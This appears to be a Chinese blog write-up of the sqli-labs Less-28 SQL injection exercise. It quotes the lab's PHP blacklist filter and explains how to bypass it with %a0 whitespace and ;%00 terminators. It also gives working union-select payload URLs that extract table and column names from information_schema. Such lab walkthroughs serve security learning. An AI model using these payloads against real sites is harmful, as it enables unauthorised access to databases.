zoukankan      html  css  js  c++  java
  • Sqli-labs

    接着好久之前的sql注入学习

    Less-28源代码如下:

    function blacklist($id)
    {
    $id= preg_replace('/[/*]/',"", $id);              //strip out /*
    $id= preg_replace('/[--]/',"", $id);              //Strip out --.
    $id= preg_replace('/[#]/',"", $id);                  //Strip out #.
    $id= preg_replace('/[ +]/',"", $id);              //Strip out spaces.
    //$id= preg_replace('/select/m',"", $id);                //Strip out spaces.
    $id= preg_replace('/[ +]/',"", $id);              //Strip out spaces.
    $id= preg_replace('/unions+select/i',"", $id);      //Strip out UNION & SELECT.
    return $id;
    }

    解法:

    参考了https://www.cnblogs.com/zhengna/p/12655523.html

    正则表达式'/unions+select/i'中,s表示空格,+表示匹配一次或多次,/i表示不区分大小写,所以整体表示匹配 union加一个或多个空格加select,其中union和select不区分大小写

    就是说只看最后一项,正则匹配会过滤 union加空格加select,只有这个表达式(不区分大小写)满足的时候才会进行过滤,但是双写空格会被之前的空格匹配过滤。

    如果空格替换成其他等价的字符,如/**/(被过滤)、tap空格、%0a(换行符,sql查询特性)、%a0就能绕过匹配

    但是没有报错回显无法使用报错判断,只能尝试爆出信息:

    尝试(以下语句需要在后面添加%0a1=1;%00),由于注释符被过滤,因此使用;%00替代

    引入新的语句

    之后尝试出现回显

    之后进入正常步骤,先order by,到4的时候不回显,说明字段结构是3的长度

    继续查数据库,突然没有回显,回去看看,发现参考博客写的并不严谨

    s表示匹配一个空格,但也能匹配包括tab键等空白符,因此%0a换行符也被匹配了,至此我们只能使用%a0来绕过

    查询表

     http://192.168.147.133/Less-28/?id=0%27)union%a0select%a01,table_name,3%a0from%a0information_schema.tables;%00

    查列

     http://192.168.147.133/Less-28/?id=0%27)union%a0select%a01,column_name,3%a0from%a0information_schema.columns%a0where%a0table_name=%27CHARACTER_SETS%27;%00

    最后去查值,select列名from表名,如果无回显,可以去参考其他资料,又或者是sqli-labs配置错误

    [Sign]做不出ctf题的时候很痛苦,你只能眼睁睁看着其他人领先你
  • 相关阅读:
    hdu 5366 简单递推
    hdu 5365 判断正方形
    hdu 3635 并查集
    hdu 4497 数论
    hdu5419 Victor and Toys
    hdu5426 Rikka with Game
    poj2074 Line of Sight
    hdu5425 Rikka with Tree II
    hdu5424 Rikka with Graph II
    poj1009 Edge Detection
  • 原文地址:https://www.cnblogs.com/echoDetected/p/13268998.html
Copyright © 2011-2022 走看看